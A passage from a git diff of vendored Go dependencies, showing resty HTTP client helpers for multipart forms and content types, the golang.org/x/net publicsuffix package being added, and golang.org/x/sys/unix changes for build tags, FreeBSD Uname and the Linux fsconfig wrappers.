l.l.Printf(format, v...)
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Rate Limiter interface
|
||||
//_______________________________________________________________________
|
||||
|
||||
type RateLimiter interface {
|
||||
Allow() bool
|
||||
}
|
||||
|
||||
var ErrRateLimitExceeded = errors.New("rate limit exceeded")
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Package Helper methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
// IsStringEmpty method tells whether given string is empty or not
|
||||
func IsStringEmpty(str string) bool {
|
||||
return len(strings.TrimSpace(str)) == 0
|
||||
}
|
||||
|
||||
// DetectContentType method is used to figure out `Request.Body` content type for request header
|
||||
func DetectContentType(body interface{}) string {
|
||||
contentType := plainTextType
|
||||
kind := kindOf(body)
|
||||
switch kind {
|
||||
case reflect.Struct, reflect.Map:
|
||||
contentType = jsonContentType
|
||||
case reflect.String:
|
||||
contentType = plainTextType
|
||||
default:
|
||||
if b, ok := body.([]byte); ok {
|
||||
contentType = http.DetectContentType(b)
|
||||
} else if kind == reflect.Slice {
|
||||
contentType = jsonContentType
|
||||
}
|
||||
}
|
||||
|
||||
return contentType
|
||||
}
|
||||
|
||||
// IsJSONType method is to check JSON content type or not
|
||||
func IsJSONType(ct string) bool {
|
||||
return jsonCheck.MatchString(ct)
|
||||
}
|
||||
|
||||
// IsXMLType method is to check XML content type or not
|
||||
func IsXMLType(ct string) bool {
|
||||
return xmlCheck.MatchString(ct)
|
||||
}
|
||||
|
||||
// Unmarshalc content into object from JSON or XML
|
||||
func Unmarshalc(c *Client, ct string, b []byte, d interface{}) (err error) {
|
||||
if IsJSONType(ct) {
|
||||
err = c.JSONUnmarshal(b, d)
|
||||
} else if IsXMLType(ct) {
|
||||
err = c.XMLUnmarshal(b, d)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// RequestLog and ResponseLog type
|
||||
//_______________________________________________________________________
|
||||
|
||||
// RequestLog struct is used to collected information from resty request
|
||||
// instance for debug logging. It sent to request log callback before resty
|
||||
// actually logs the information.
|
||||
type RequestLog struct {
|
||||
Header http.Header
|
||||
Body string
|
||||
}
|
||||
|
||||
// ResponseLog struct is used to collected information from resty response
|
||||
// instance for debug logging. It sent to response log callback before resty
|
||||
// actually logs the information.
|
||||
type ResponseLog struct {
|
||||
Header http.Header
|
||||
Body string
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Package Unexported methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
// way to disable the HTML escape as opt-in
|
||||
func jsonMarshal(c *Client, r *Request, d interface{}) (*bytes.Buffer, error) {
|
||||
if !r.jsonEscapeHTML || !c.jsonEscapeHTML {
|
||||
return noescapeJSONMarshal(d)
|
||||
}
|
||||
|
||||
data, err := c.JSONMarshal(d)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
buf := acquireBuffer()
|
||||
_, _ = buf.Write(data)
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func firstNonEmpty(v ...string) string {
|
||||
for _, s := range v {
|
||||
if !IsStringEmpty(s) {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
var quoteEscaper = strings.NewReplacer("\\", "\\\\", `"`, "\\\"")
|
||||
|
||||
func escapeQuotes(s string) string {
|
||||
return quoteEscaper.Replace(s)
|
||||
}
|
||||
|
||||
func createMultipartHeader(param, fileName, contentType string) textproto.MIMEHeader {
|
||||
hdr := make(textproto.MIMEHeader)
|
||||
|
||||
var contentDispositionValue string
|
||||
if IsStringEmpty(fileName) {
|
||||
contentDispositionValue = fmt.Sprintf(`form-data; name="%s"`, param)
|
||||
} else {
|
||||
contentDispositionValue = fmt.Sprintf(`form-data; name="%s"; filename="%s"`,
|
||||
param, escapeQuotes(fileName))
|
||||
}
|
||||
hdr.Set("Content-Disposition", contentDispositionValue)
|
||||
|
||||
if !IsStringEmpty(contentType) {
|
||||
hdr.Set(hdrContentTypeKey, contentType)
|
||||
}
|
||||
return hdr
|
||||
}
|
||||
|
||||
func addMultipartFormField(w *multipart.Writer, mf *MultipartField) error {
|
||||
partWriter, err := w.CreatePart(createMultipartHeader(mf.Param, mf.FileName, mf.ContentType))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = io.Copy(partWriter, mf.Reader)
|
||||
return err
|
||||
}
|
||||
|
||||
func writeMultipartFormFile(w *multipart.Writer, fieldName, fileName string, r io.Reader) error {
|
||||
// Auto detect actual multipart content type
|
||||
cbuf := make([]byte, 512)
|
||||
size, err := r.Read(cbuf)
|
||||
if err != nil && err != io.EOF {
|
||||
return err
|
||||
}
|
||||
|
||||
partWriter, err := w.CreatePart(createMultipartHeader(fieldName, fileName, http.DetectContentType(cbuf[:size])))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err = partWriter.Write(cbuf[:size]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = io.Copy(partWriter, r)
|
||||
return err
|
||||
}
|
||||
|
||||
func addFile(w *multipart.Writer, fieldName, path string) error {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer closeq(file)
|
||||
return writeMultipartFormFile(w, fieldName, filepath.Base(path), file)
|
||||
}
|
||||
|
||||
func addFileReader(w *multipart.Writer, f *File) error {
|
||||
return writeMultipartFormFile(w, f.ParamName, f.Name, f.Reader)
|
||||
}
|
||||
|
||||
func getPointer(v interface{}) interface{} {
|
||||
vv := valueOf(v)
|
||||
if vv.Kind() == reflect.Ptr {
|
||||
return v
|
||||
}
|
||||
return reflect.New(vv.Type()).Interface()
|
||||
}
|
||||
|
||||
func isPayloadSupported(m string, allowMethodGet bool) bool {
|
||||
return !(m == MethodHead || m == MethodOptions || (m == MethodGet && !allowMethodGet))
|
||||
}
|
||||
|
||||
func typeOf(i interface{}) reflect.Type {
|
||||
return indirect(valueOf(i)).Type()
|
||||
}
|
||||
|
||||
func valueOf(i interface{}) reflect.Value {
|
||||
return reflect.ValueOf(i)
|
||||
}
|
||||
|
||||
func indirect(v reflect.Value) reflect.Value {
|
||||
return reflect.Indirect(v)
|
||||
}
|
||||
|
||||
func kindOf(v interface{}) reflect.Kind {
|
||||
return typeOf(v).Kind()
|
||||
}
|
||||
|
||||
func createDirectory(dir string) (err error) {
|
||||
if _, err = os.Stat(dir); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
if err = os.MkdirAll(dir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func canJSONMarshal(contentType string, kind reflect.Kind) bool {
|
||||
return IsJSONType(contentType) && (kind == reflect.Struct || kind == reflect.Map || kind == reflect.Slice)
|
||||
}
|
||||
|
||||
func functionName(i interface{}) string {
|
||||
return runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()
|
||||
}
|
||||
|
||||
func acquireBuffer() *bytes.Buffer {
|
||||
return bufPool.Get().(*bytes.Buffer)
|
||||
}
|
||||
|
||||
func releaseBuffer(buf *bytes.Buffer) {
|
||||
if buf != nil {
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
}
|
||||
}
|
||||
|
||||
// requestBodyReleaser wraps requests's body and implements custom Close for it.
|
||||
// The Close method closes original body and releases request body back to sync.Pool.
|
||||
type requestBodyReleaser struct {
|
||||
releaseOnce sync.Once
|
||||
reqBuf *bytes.Buffer
|
||||
io.ReadCloser
|
||||
}
|
||||
|
||||
func newRequestBodyReleaser(respBody io.ReadCloser, reqBuf *bytes.Buffer) io.ReadCloser {
|
||||
if reqBuf == nil {
|
||||
return respBody
|
||||
}
|
||||
|
||||
return &requestBodyReleaser{
|
||||
reqBuf: reqBuf,
|
||||
ReadCloser: respBody,
|
||||
}
|
||||
}
|
||||
|
||||
func (rr *requestBodyReleaser) Close() error {
|
||||
err := rr.ReadCloser.Close()
|
||||
rr.releaseOnce.Do(func() {
|
||||
releaseBuffer(rr.reqBuf)
|
||||
})
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func closeq(v interface{}) {
|
||||
if c, ok := v.(io.Closer); ok {
|
||||
silently(c.Close())
|
||||
}
|
||||
}
|
||||
|
||||
func silently(_ ...interface{}) {}
|
||||
|
||||
func composeHeaders(c *Client, r *Request, hdrs http.Header) string {
|
||||
str := make([]string, 0, len(hdrs))
|
||||
for _, k := range sortHeaderKeys(hdrs) {
|
||||
str = append(str, "\t"+strings.TrimSpace(fmt.Sprintf("%25s: %s", k, strings.Join(hdrs[k], ", "))))
|
||||
}
|
||||
return strings.Join(str, "\n")
|
||||
}
|
||||
|
||||
func sortHeaderKeys(hdrs http.Header) []string {
|
||||
keys := make([]string, 0, len(hdrs))
|
||||
for key := range hdrs {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
return keys
|
||||
}
|
||||
|
||||
func copyHeaders(hdrs http.Header) http.Header {
|
||||
nh := http.Header{}
|
||||
for k, v := range hdrs {
|
||||
nh[k] = v
|
||||
}
|
||||
return nh
|
||||
}
|
||||
|
||||
type noRetryErr struct {
|
||||
err error
|
||||
}
|
||||
|
||||
func (e *noRetryErr) Error() string {
|
||||
return e.err.Error()
|
||||
}
|
||||
|
||||
func wrapNoRetryErr(err error) error {
|
||||
if err != nil {
|
||||
err = &noRetryErr{err: err}
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func unwrapNoRetryErr(err error) error {
|
||||
if e, ok := err.(*noRetryErr); ok {
|
||||
err = e.err
|
||||
}
|
||||
return err
|
||||
}
|
BIN
vendor/golang.org/x/net/publicsuffix/data/children
generated
vendored
Normal file
BIN
vendor/golang.org/x/net/publicsuffix/data/children
generated
vendored
Normal file
Binary file not shown.
BIN
vendor/golang.org/x/net/publicsuffix/data/nodes
generated
vendored
Normal file
BIN
vendor/golang.org/x/net/publicsuffix/data/nodes
generated
vendored
Normal file
Binary file not shown.
1
vendor/golang.org/x/net/publicsuffix/data/text
generated
vendored
Normal file
1
vendor/golang.org/x/net/publicsuffix/data/text
generated
vendored
Normal file
File diff suppressed because one or more lines are too long
203
vendor/golang.org/x/net/publicsuffix/list.go
generated
vendored
Normal file
203
vendor/golang.org/x/net/publicsuffix/list.go
generated
vendored
Normal file
@ -0,0 +1,203 @@
|
||||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:generate go run gen.go
|
||||
|
||||
// Package publicsuffix provides a public suffix list based on data from
|
||||
// https://publicsuffix.org/
|
||||
//
|
||||
// A public suffix is one under which Internet users can directly register
|
||||
// names. It is related to, but different from, a TLD (top level domain).
|
||||
//
|
||||
// "com" is a TLD (top level domain). Top level means it has no dots.
|
||||
//
|
||||
// "com" is also a public suffix. Amazon and Google have registered different
|
||||
// siblings under that domain: "amazon.com" and "google.com".
|
||||
//
|
||||
// "au" is another TLD, again because it has no dots. But it's not "amazon.au".
|
||||
// Instead, it's "amazon.com.au".
|
||||
//
|
||||
// "com.au" isn't an actual TLD, because it's not at the top level (it has
|
||||
// dots). But it is an eTLD (effective TLD), because that's the branching point
|
||||
// for domain name registrars.
|
||||
//
|
||||
// Another name for "an eTLD" is "a public suffix". Often, what's more of
|
||||
// interest is the eTLD+1, or one more label than the public suffix. For
|
||||
// example, browsers partition read/write access to HTTP cookies according to
|
||||
// the eTLD+1. Web pages served from "amazon.com.au" can't read cookies from
|
||||
// "google.com.au", but web pages served from "maps.google.com" can share
|
||||
// cookies from "www.google.com", so you don't have to sign into Google Maps
|
||||
// separately from signing into Google Web Search. Note that all four of those
|
||||
// domains have 3 labels and 2 dots. The first two domains are each an eTLD+1,
|
||||
// the last two are not (but share the same eTLD+1: "google.com").
|
||||
//
|
||||
// All of these domains have the same eTLD+1:
|
||||
// - "www.books.amazon.co.uk"
|
||||
// - "books.amazon.co.uk"
|
||||
// - "amazon.co.uk"
|
||||
//
|
||||
// Specifically, the eTLD+1 is "amazon.co.uk", because the eTLD is "co.uk".
|
||||
//
|
||||
// There is no closed form algorithm to calculate the eTLD of a domain.
|
||||
// Instead, the calculation is data driven. This package provides a
|
||||
// pre-compiled snapshot of Mozilla's PSL (Public Suffix List) data at
|
||||
// https://publicsuffix.org/
|
||||
package publicsuffix // import "golang.org/x/net/publicsuffix"
|
||||
|
||||
// TODO: specify case sensitivity and leading/trailing dot behavior for
|
||||
// func PublicSuffix and func EffectiveTLDPlusOne.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http/cookiejar"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// List implements the cookiejar.PublicSuffixList interface by calling the
|
||||
// PublicSuffix function.
|
||||
var List cookiejar.PublicSuffixList = list{}
|
||||
|
||||
type list struct{}
|
||||
|
||||
func (list) PublicSuffix(domain string) string {
|
||||
ps, _ := PublicSuffix(domain)
|
||||
return ps
|
||||
}
|
||||
|
||||
func (list) String() string {
|
||||
return version
|
||||
}
|
||||
|
||||
// PublicSuffix returns the public suffix of the domain using a copy of the
|
||||
// publicsuffix.org database compiled into the library.
|
||||
//
|
||||
// icann is whether the public suffix is managed by the Internet Corporation
|
||||
// for Assigned Names and Numbers. If not, the public suffix is either a
|
||||
// privately managed domain (and in practice, not a top level domain) or an
|
||||
// unmanaged top level domain (and not explicitly mentioned in the
|
||||
// publicsuffix.org list). For example, "foo.org" and "foo.co.uk" are ICANN
|
||||
// domains, "foo.dyndns.org" and "foo.blogspot.co.uk" are private domains and
|
||||
// "cromulent" is an unmanaged top level domain.
|
||||
//
|
||||
// Use cases for distinguishing ICANN domains like "foo.com" from private
|
||||
// domains like "foo.appspot.com" can be found at
|
||||
// https://wiki.mozilla.org/Public_Suffix_List/Use_Cases
|
||||
func PublicSuffix(domain string) (publicSuffix string, icann bool) {
|
||||
lo, hi := uint32(0), uint32(numTLD)
|
||||
s, suffix, icannNode, wildcard := domain, len(domain), false, false
|
||||
loop:
|
||||
for {
|
||||
dot := strings.LastIndex(s, ".")
|
||||
if wildcard {
|
||||
icann = icannNode
|
||||
suffix = 1 + dot
|
||||
}
|
||||
if lo == hi {
|
||||
break
|
||||
}
|
||||
f := find(s[1+dot:], lo, hi)
|
||||
if f == notFound {
|
||||
break
|
||||
}
|
||||
|
||||
u := uint32(nodes.get(f) >> (nodesBitsTextOffset + nodesBitsTextLength))
|
||||
icannNode = u&(1<<nodesBitsICANN-1) != 0
|
||||
u >>= nodesBitsICANN
|
||||
u = children.get(u & (1<<nodesBitsChildren - 1))
|
||||
lo = u & (1<<childrenBitsLo - 1)
|
||||
u >>= childrenBitsLo
|
||||
hi = u & (1<<childrenBitsHi - 1)
|
||||
u >>= childrenBitsHi
|
||||
switch u & (1<<childrenBitsNodeType - 1) {
|
||||
case nodeTypeNormal:
|
||||
suffix = 1 + dot
|
||||
case nodeTypeException:
|
||||
suffix = 1 + len(s)
|
||||
break loop
|
||||
}
|
||||
u >>= childrenBitsNodeType
|
||||
wildcard = u&(1<<childrenBitsWildcard-1) != 0
|
||||
if !wildcard {
|
||||
icann = icannNode
|
||||
}
|
||||
|
||||
if dot == -1 {
|
||||
break
|
||||
}
|
||||
s = s[:dot]
|
||||
}
|
||||
if suffix == len(domain) {
|
||||
// If no rules match, the prevailing rule is "*".
|
||||
return domain[1+strings.LastIndex(domain, "."):], icann
|
||||
}
|
||||
return domain[suffix:], icann
|
||||
}
|
||||
|
||||
const notFound uint32 = 1<<32 - 1
|
||||
|
||||
// find returns the index of the node in the range [lo, hi) whose label equals
|
||||
// label, or notFound if there is no such node. The range is assumed to be in
|
||||
// strictly increasing node label order.
|
||||
func find(label string, lo, hi uint32) uint32 {
|
||||
for lo < hi {
|
||||
mid := lo + (hi-lo)/2
|
||||
s := nodeLabel(mid)
|
||||
if s < label {
|
||||
lo = mid + 1
|
||||
} else if s == label {
|
||||
return mid
|
||||
} else {
|
||||
hi = mid
|
||||
}
|
||||
}
|
||||
return notFound
|
||||
}
|
||||
|
||||
// nodeLabel returns the label for the i'th node.
|
||||
func nodeLabel(i uint32) string {
|
||||
x := nodes.get(i)
|
||||
length := x & (1<<nodesBitsTextLength - 1)
|
||||
x >>= nodesBitsTextLength
|
||||
offset := x & (1<<nodesBitsTextOffset - 1)
|
||||
return text[offset : offset+length]
|
||||
}
|
||||
|
||||
// EffectiveTLDPlusOne returns the effective top level domain plus one more
|
||||
// label. For example, the eTLD+1 for "foo.bar.golang.org" is "golang.org".
|
||||
func EffectiveTLDPlusOne(domain string) (string, error) {
|
||||
if strings.HasPrefix(domain, ".") || strings.HasSuffix(domain, ".") || strings.Contains(domain, "..") {
|
||||
return "", fmt.Errorf("publicsuffix: empty label in domain %q", domain)
|
||||
}
|
||||
|
||||
suffix, _ := PublicSuffix(domain)
|
||||
if len(domain) <= len(suffix) {
|
||||
return "", fmt.Errorf("publicsuffix: cannot derive eTLD+1 for domain %q", domain)
|
||||
}
|
||||
i := len(domain) - len(suffix) - 1
|
||||
if domain[i] != '.' {
|
||||
return "", fmt.Errorf("publicsuffix: invalid public suffix %q for domain %q", suffix, domain)
|
||||
}
|
||||
return domain[1+strings.LastIndex(domain[:i], "."):], nil
|
||||
}
|
||||
|
||||
type uint32String string
|
||||
|
||||
func (u uint32String) get(i uint32) uint32 {
|
||||
off := i * 4
|
||||
return (uint32(u[off])<<24 |
|
||||
uint32(u[off+1])<<16 |
|
||||
uint32(u[off+2])<<8 |
|
||||
uint32(u[off+3]))
|
||||
}
|
||||
|
||||
type uint40String string
|
||||
|
||||
func (u uint40String) get(i uint32) uint64 {
|
||||
off := uint64(i * (nodesBits / 8))
|
||||
return uint64(u[off])<<32 |
|
||||
uint64(u[off+1])<<24 |
|
||||
uint64(u[off+2])<<16 |
|
||||
uint64(u[off+3])<<8 |
|
||||
uint64(u[off+4])
|
||||
}
|
70
vendor/golang.org/x/net/publicsuffix/table.go
generated
vendored
Normal file
70
vendor/golang.org/x/net/publicsuffix/table.go
generated
vendored
Normal file
@ -0,0 +1,70 @@
|
||||
// generated by go run gen.go; DO NOT EDIT
|
||||
|
||||
package publicsuffix
|
||||
|
||||
import _ "embed"
|
||||
|
||||
const version = "publicsuffix.org's public_suffix_list.dat, git revision 63cbc63d470d7b52c35266aa96c4c98c96ec499c (2023-08-03T10:01:25Z)"
|
||||
|
||||
const (
|
||||
nodesBits = 40
|
||||
nodesBitsChildren = 10
|
||||
nodesBitsICANN = 1
|
||||
nodesBitsTextOffset = 16
|
||||
nodesBitsTextLength = 6
|
||||
|
||||
childrenBitsWildcard = 1
|
||||
childrenBitsNodeType = 2
|
||||
childrenBitsHi = 14
|
||||
childrenBitsLo = 14
|
||||
)
|
||||
|
||||
const (
|
||||
nodeTypeNormal = 0
|
||||
nodeTypeException = 1
|
||||
nodeTypeParentOnly = 2
|
||||
)
|
||||
|
||||
// numTLD is the number of top level domains.
|
||||
const numTLD = 1474
|
||||
|
||||
// text is the combined text of all labels.
|
||||
//
|
||||
//go:embed data/text
|
||||
var text string
|
||||
|
||||
// nodes is the list of nodes. Each node is represented as a 40-bit integer,
|
||||
// which encodes the node's children, wildcard bit and node type (as an index
|
||||
// into the children array), ICANN bit and text.
|
||||
//
|
||||
// The layout within the node, from MSB to LSB, is:
|
||||
//
|
||||
// [ 7 bits] unused
|
||||
// [10 bits] children index
|
||||
// [ 1 bits] ICANN bit
|
||||
// [16 bits] text index
|
||||
// [ 6 bits] text length
|
||||
//
|
||||
//go:embed data/nodes
|
||||
var nodes uint40String
|
||||
|
||||
// children is the list of nodes' children, the parent's wildcard bit and the
|
||||
// parent's node type. If a node has no children then their children index
|
||||
// will be in the range [0, 6), depending on the wildcard bit and node type.
|
||||
//
|
||||
// The layout within the uint32, from MSB to LSB, is:
|
||||
//
|
||||
// [ 1 bits] unused
|
||||
// [ 1 bits] wildcard bit
|
||||
// [ 2 bits] node type
|
||||
// [14 bits] high nodes index (exclusive) of children
|
||||
// [14 bits] low nodes index (inclusive) of children
|
||||
//
|
||||
//go:embed data/children
|
||||
var children uint32String
|
||||
|
||||
// max children 743 (capacity 1023)
|
||||
// max text offset 30876 (capacity 65535)
|
||||
// max text length 31 (capacity 63)
|
||||
// max hi 9322 (capacity 16383)
|
||||
// max lo 9317 (capacity 16383)
|
2
vendor/golang.org/x/sys/unix/aliases.go
generated
vendored
2
vendor/golang.org/x/sys/unix/aliases.go
generated
vendored
@ -2,7 +2,7 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos) && go1.9
|
||||
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos
|
||||
|
||||
package unix
|
||||
|
||||
|
2
vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
generated
vendored
2
vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
generated
vendored
@ -2,7 +2,7 @@
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build darwin && go1.12
|
||||
//go:build darwin
|
||||
|
||||
package unix
|
||||
|
||||
|
12
vendor/golang.org/x/sys/unix/syscall_freebsd.go
generated
vendored
12
vendor/golang.org/x/sys/unix/syscall_freebsd.go
generated
vendored
@ -13,6 +13,7 @@
|
||||
package unix
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"unsafe"
|
||||
)
|
||||
@ -169,25 +170,26 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
|
||||
func Uname(uname *Utsname) error {
|
||||
mib := []_C_int{CTL_KERN, KERN_OSTYPE}
|
||||
n := unsafe.Sizeof(uname.Sysname)
|
||||
if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
|
||||
// Suppress ENOMEM errors to be compatible with the C library __xuname() implementation.
|
||||
if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil && !errors.Is(err, ENOMEM) {
|
||||
return err
|
||||
}
|
||||
|
||||
mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
|
||||
n = unsafe.Sizeof(uname.Nodename)
|
||||
if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
|
||||
if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil && !errors.Is(err, ENOMEM) {
|
||||
return err
|
||||
}
|
||||
|
||||
mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
|
||||
n = unsafe.Sizeof(uname.Release)
|
||||
if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
|
||||
if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil && !errors.Is(err, ENOMEM) {
|
||||
return err
|
||||
}
|
||||
|
||||
mib = []_C_int{CTL_KERN, KERN_VERSION}
|
||||
n = unsafe.Sizeof(uname.Version)
|
||||
if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
|
||||
if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil && !errors.Is(err, ENOMEM) {
|
||||
return err
|
||||
}
|
||||
|
||||
@ -205,7 +207,7 @@ func Uname(uname *Utsname) error {
|
||||
|
||||
mib = []_C_int{CTL_HW, HW_MACHINE}
|
||||
n = unsafe.Sizeof(uname.Machine)
|
||||
if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
|
||||
if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil && !errors.Is(err, ENOMEM) {
|
||||
return err
|
||||
}
|
||||
|
||||
|
99
vendor/golang.org/x/sys/unix/syscall_linux.go
generated
vendored
99
vendor/golang.org/x/sys/unix/syscall_linux.go
generated
vendored
@ -1849,6 +1849,105 @@ func Dup2(oldfd, newfd int) error {
|
||||
//sys Fsmount(fd int, flags int, mountAttrs int) (fsfd int, err error)
|
||||
//sys Fsopen(fsName string, flags int) (fd int, err error)
|
||||
//sys Fspick(dirfd int, pathName string, flags int) (fd int, err error)
|
||||
|
||||
//sys fsconfig(fd int, cmd uint, key *byte, value *byte, aux int) (err error)
|
||||
|
||||
func fsconfigCommon(fd int, cmd uint, key string, value *byte, aux int) (err error) {
|
||||
var keyp *byte
|
||||
if keyp, err = BytePtrFromString(key); err != nil {
|
||||
return
|
||||
}
|
||||
return fsconfig(fd, cmd, keyp, value, aux)
|
||||
}
|
||||
|
||||
// FsconfigSetFlag is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_FLAG.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
// key the parameter key to set.
|
||||
func FsconfigSetFlag(fd int, key string) (err error) {
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_FLAG, key, nil, 0)
|
||||
}
|
||||
|
||||
// FsconfigSetString is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_STRING.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
// key the parameter key to set.
|
||||
// value is the parameter value to set.
|
||||
func FsconfigSetString(fd int, key string, value string) (err error) {
|
||||
var valuep *byte
|
||||
if valuep, err = BytePtrFromString(value); err != nil {
|
||||
return
|
||||
}
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_STRING, key, valuep, 0)
|
||||
}
|
||||
|
||||
// FsconfigSetBinary is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_BINARY.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
// key the parameter key to set.
|
||||
// value is the parameter value to set.
|
||||
func FsconfigSetBinary(fd int, key string, value []byte) (err error) {
|
||||
if len(value) == 0 {
|
||||
return EINVAL
|
||||
}
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_BINARY, key, &value[0], len(value))
|
||||
}
|
||||
|
||||
// FsconfigSetPath is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_PATH.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
// key the parameter key to set.
|
||||
// path is a non-empty path for specified key.
|
||||
// atfd is a file descriptor at which to start lookup from or AT_FDCWD.
|
||||
func FsconfigSetPath(fd int, key string, path string, atfd int) (err error) {
|
||||
var valuep *byte
|
||||
if valuep, err = BytePtrFromString(path); err != nil {
|
||||
return
|
||||
}
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_PATH, key, valuep, atfd)
|
||||
}
|
||||
|
||||
// FsconfigSetPathEmpty is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_PATH_EMPTY. The same as
|
||||
// FconfigSetPath but with AT_PATH_EMPTY implied.
|
||||
func FsconfigSetPathEmpty(fd int, key string, path string, atfd int) (err error) {
|
||||
var valuep *byte
|
||||
if valuep, err = BytePtrFromString(path); err != nil {
|
||||
return
|
||||
}
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_PATH_EMPTY, key, valuep, atfd)
|
||||
}
|
||||
|
||||
// FsconfigSetFd is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_SET_FD.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
// key the parameter key to set.
|
||||
// value is a file descriptor to be assigned to specified key.
|
||||
func FsconfigSetFd(fd int, key string, value int) (err error) {
|
||||
return fsconfigCommon(fd, FSCONFIG_SET_FD, key, nil, value)
|
||||
}
|
||||
|
||||
// FsconfigCreate is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_CMD_CREATE.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
func FsconfigCreate(fd int) (err error) {
|
||||
return fsconfig(fd, FSCONFIG_CMD_CREATE, nil, nil, 0)
|
||||
}
|
||||
|
||||
// FsconfigReconfigure is equivalent to fsconfig(2) called
|
||||
// with cmd == FSCONFIG_CMD_RECONFIGURE.
|
||||
//
|
||||
// fd is the filesystem context to act upon.
|
||||
func FsconfigReconfigure(fd int) (err error) {
|
||||
return fsconfig(fd, FSCONFIG_CMD_RECONFIGURE, nil, nil, 0)
|
||||
}
|
||||
|
||||
//sys Getdents(fd int, buf []byte) (n int, err error) = SYS_GETDENTS64
|
||||
//sysnb Getpgid(pid int) (pgid int, err error)
|
||||
|
||||
|
10
vendor/golang.org/x/sys/unix/zsyscall_linux.go
generated
vendored
10
vendor/golang.org/x/sys/unix/zsyscall_linux.go
generated
vendored
@ -906,6 +906,16 @@ func Fspick(dirfd int, pathName string, flags int) (fd int, err error) {
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func fsconfig(fd int, cmd uint, key *byte, value *byte, aux int) (err error) {
|
||||
